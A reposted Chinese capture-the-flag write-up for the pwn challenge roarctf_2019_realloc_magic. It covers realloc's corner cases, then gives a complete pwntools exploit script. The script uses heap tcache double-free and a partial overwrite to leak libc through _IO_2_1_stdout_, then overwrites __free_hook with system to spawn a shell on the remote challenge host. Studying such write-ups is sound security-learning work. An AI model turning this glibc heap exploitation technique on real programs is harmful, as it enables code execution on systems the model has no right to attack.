ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

roarctf_2019_realloc_magic

2021-01-07 02:03:47  阅读:391  来源: 互联网

标签:roarctf magic libc realloc 0x0 free base size


这道题有点难,第一次遇见这种题目,看了pwnki师傅博客,还看了pwnki师傅博客下的3个师傅博客

https://www.cnblogs.com/luoleqi/p/13415667.html

利用 _IO_2_1_stdout_ 泄露信息

railgun_探究利用_IO_2_1_stdout_ 泄露libc

BUUCTF-PWN roarctf_2019_realloc_magic

realloc的几个特殊用法(摘自官方WP)

size == 0 ,这个时候等同于free
realloc_ptr == 0 && size > 0 , 这个时候等同于malloc
malloc_usable_size(realloc_ptr) >= size, 这个时候等同于edit
malloc_usable_size(realloc_ptr) < szie, 这个时候才是malloc一块更大的内存,将原来的内容复制过去,再将原来的chunk给free掉

利用思路

先将tache填满,然后在释放一个chunk,使其进入unsorted bin

进入unsorted bin后,覆盖为0xx760,这里需要爆破一位

爆出来后,将其IO_write_base的低字节编程0x58,这正好是vtables地址,将其打印出来后,就泄露了libc

泄露完libc后,后面进行前面类似的操作double free然后劫持__free_hook即可

 

exp

from pwn import *
#context.log_level='debug'
#p=process('./roarctf_2019_realloc_magic')
p=remote('node3.buuoj.cn',29060)

def realloc(size, content):
    p.recvuntil(">> ")
    p.sendline('1')
    p.recvuntil("Size?\n")
    p.sendline(str(size))
    p.recvuntil("Content?\n")
    p.send(content)

def delete():
    p.recvuntil(">> ")
    p.sendline('2')

def back():
    p.recvuntil(">> ")
    p.sendline('666')

realloc(0x70,'pppp')
realloc(0x0,'')
realloc(0x100,'pppp')
realloc(0x0,'')
realloc(0xa0,'pppp')
realloc(0x0,'')


realloc(0x100,'pppp')

for i in range(7):
    delete()
realloc(0x0,'')

realloc(0x70,'a')
realloc(0x180,b'p'*0x78+p64(0x41)+p8(0x60)+p8(0x47))
realloc(0x0,'')
realloc(0x100,'a')
realloc(0,'')

realloc(0x100,p64(0xfbad1887)+p64(0)*3+p8(0x58))

libc_base = u64(p.recvuntil("\x7f",timeout=0.1)[-6:].ljust(8,b'\x00'))-0x3e82a0 # _IO_2_1_stderr_+216 store _IO_file_jumps

if libc_base==-0x3e82a0:
    exit(1)

print(hex(libc_base))
libc=ELF('../libc-2.27.so')
free_hook=libc_base+libc.sym['__free_hook']
system = libc_base + libc.sym['system']
one_gadget=libc_base + 0x4f322

p.sendline('666')#ptr=NULL
realloc(0x120,'a')
realloc(0,'')
realloc(0x130,'a')
realloc(0,'')
realloc(0x170,'a')
realloc(0,'')

realloc(0x130,'p')
for i in range(7):
    delete()
realloc(0,'')
realloc(0x120,'p')
realloc(0x260,b'p'*0x128+p64(0x41)+p64(free_hook-8))
realloc(0x0,'')
realloc(0x130,b'p')
realloc(0,'')
realloc(0x130,b'/bin/sh\x00'+p64(system))
delete()

#gdb.attach(p)
p.interactive()

 

标签:roarctf,magic,libc,realloc,0x0,free,base,size
来源: https://www.cnblogs.com/pppyyyzzz/p/14244293.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有